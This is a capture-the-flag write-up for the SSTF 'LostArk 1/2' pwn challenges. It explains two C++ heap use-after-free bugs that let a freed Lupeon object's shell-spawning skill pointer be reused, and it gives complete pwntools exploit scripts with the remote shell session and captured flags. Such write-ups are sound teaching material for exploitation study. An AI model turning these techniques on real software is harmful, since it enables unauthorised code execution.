LostArk 1/2

Description

Pwn the Acracia!

nc lostark.sstf.site 1337

Attachment: L0stArk xpl.py

Team: Super Guesser

LostArk 1

----------------------------------------------
 === menu ===
1. Create a new character
2. Delete a character
3. List
4. Choose a character
5. Set skill
6. Use skill
7. Exit
pick: 
----------------------------------------------

The binary lets you create different characters (Reaper / Bard / Warlord / Lupeon), which have different “Skills”, that can be set and used.

A Lupeon has only one skill gift, which will open a shell, but skills for him are “blocked” and cannot be directly executed.

void Character::useSkill() {
    if (isSkillBlocked()) 
        cout << "blocked" << endl;
    else if (this->Skill) {
        this->Skill();
    }
    else {
        cout << "Set skill first" <<endl;
    }
}

Lupeon uses the default implementation of isSkillIsBlocked from the base character, which returns true, while the other characters override the method and return false for it, and execute Skill, if it is set.

A character with a set skill will look like this in memory.

0x555555570ea0:	0x0000000000000000	0x0000000000000061
0x555555570eb0:	0x000055555555dbf8	0x0000555555570ec8  <= VTable / Name
0x555555570ec0:	0x0000000000000008	0x4141414141414141  <= Name string
0x555555570ed0:	0x0000000000000000	0x0000555555570ee8  <= XXX / Type
0x555555570ee0:	0x0000000000000006	0x0000726570616552  <= Type string
0x555555570ef0:	0x0000000000000000	0x00005555555574f0  <= XXX / Active Skill
0x555555570f00:	0x0000000000000000	0x0000000000000021

So, for the first LostArk, it’s pretty simple to execute the Lupeons special skill

  • Create a lupeon (lupeon ctor will set active skill to gift)
  • Delete lupeon (character chunk will get freed)
  • Create any other character (since character creation doesn’t initialize active skill, it will still point to Lupeons gift)
  • Select character
  • Use skill
#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "lostark.sstf.site"
PORT = 1337
PROCESS = "./L0stArk"

def create(type, name):
    r.sendline("1")
    r.sendlineafter(": ", str(type))

    if type != 7:
        r.sendlineafter(": ", name)

    r.recvuntil("pick: ")

def choose(idx):
    r.sendline("4")
    r.sendlineafter(": ", str(idx))
    r.recvuntil("pick: ")

def delete(idx):
    r.sendline("2")
    r.sendlineafter(": ", str(idx))
    r.recvuntil("pick: ")

def useskill():
    r.sendline("6")

def exploit(r):
    create(7, "")
    delete(0)
    create(1, "AAAA")
    choose(0)
    useskill()
    
    r.interactive()
    
    return

if __name__ == "__main__":
    # e = ELF("./L0stArk")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)      
    else:
        LOCAL = True
        r = process("./L0stArk")
        print (util.proc.pidof(r))
        pause()
    
    exploit(r)
$ python xpl.py 1
[+] Opening connection to lostark.sstf.site on port 1337: Done
[*] Switching to interactive mode

= use skill =
$ id
uid=1000(lostark) gid=1000(lostark) groups=1000(lostark)
$ cat /flag
SCTF{Wh3r3 1s 4 Dt0r?}

LostArk 2

Attachment: patch xpl.py

In LostArk 2, a dtor was added for each character, in which the active skill for the character will be reset before the object gets freed.

void Lupeon::~Lupeon(Character *this)
{  
  this->ActiveSkill = 0;
  Character::~Character(this);
}

This kills the simple reallocation solution from part 1. But, there’s a new bug in the pickChar method.

void pickChar(void)
{
  unsigned int idx = 0;  

  cout<<endl<<"== choose =="<<endl;
  
  ... 
      
  Character* char = CHARACTERS[idx];

  picked_c.reset(char);
}

The reset function will “destroy the object and takes ownership of it”. Calling this, will free the object, without calling the dtor of it. Exactly what we need.

So the plan for this changes to

  • Create a lupeon
  • Create random char
  • Choose lupeon character (sets active skill to gift)
  • Choose random char (this frees the lupeon character without calling dtor)
  • Create another char (this will be placed in the just freed lupeon)
  • Choose the newly created char
  • Use skill to trigger gift
def exploit(r):
    create(7, "")           # create lupeon
    create(1, "A"*(0x60))   # create random char
        
    choose(0)               # choose lupeon
    choose(1)               # frees picked char (not calling dtor)

    create(1, "A"*(0x40))   
    choose(0)
    r.sendline("6")         # use skill (will be lupeon skill)
    
    r.interactive()
    
    return
$ python xpl.py 1
[+] Opening connection to lostark2.sstf.site on port 1337: Done
[*] Switching to interactive mode

= use skill =
$ cat /flag
SCTF{KUKURUPPINGPPONG!}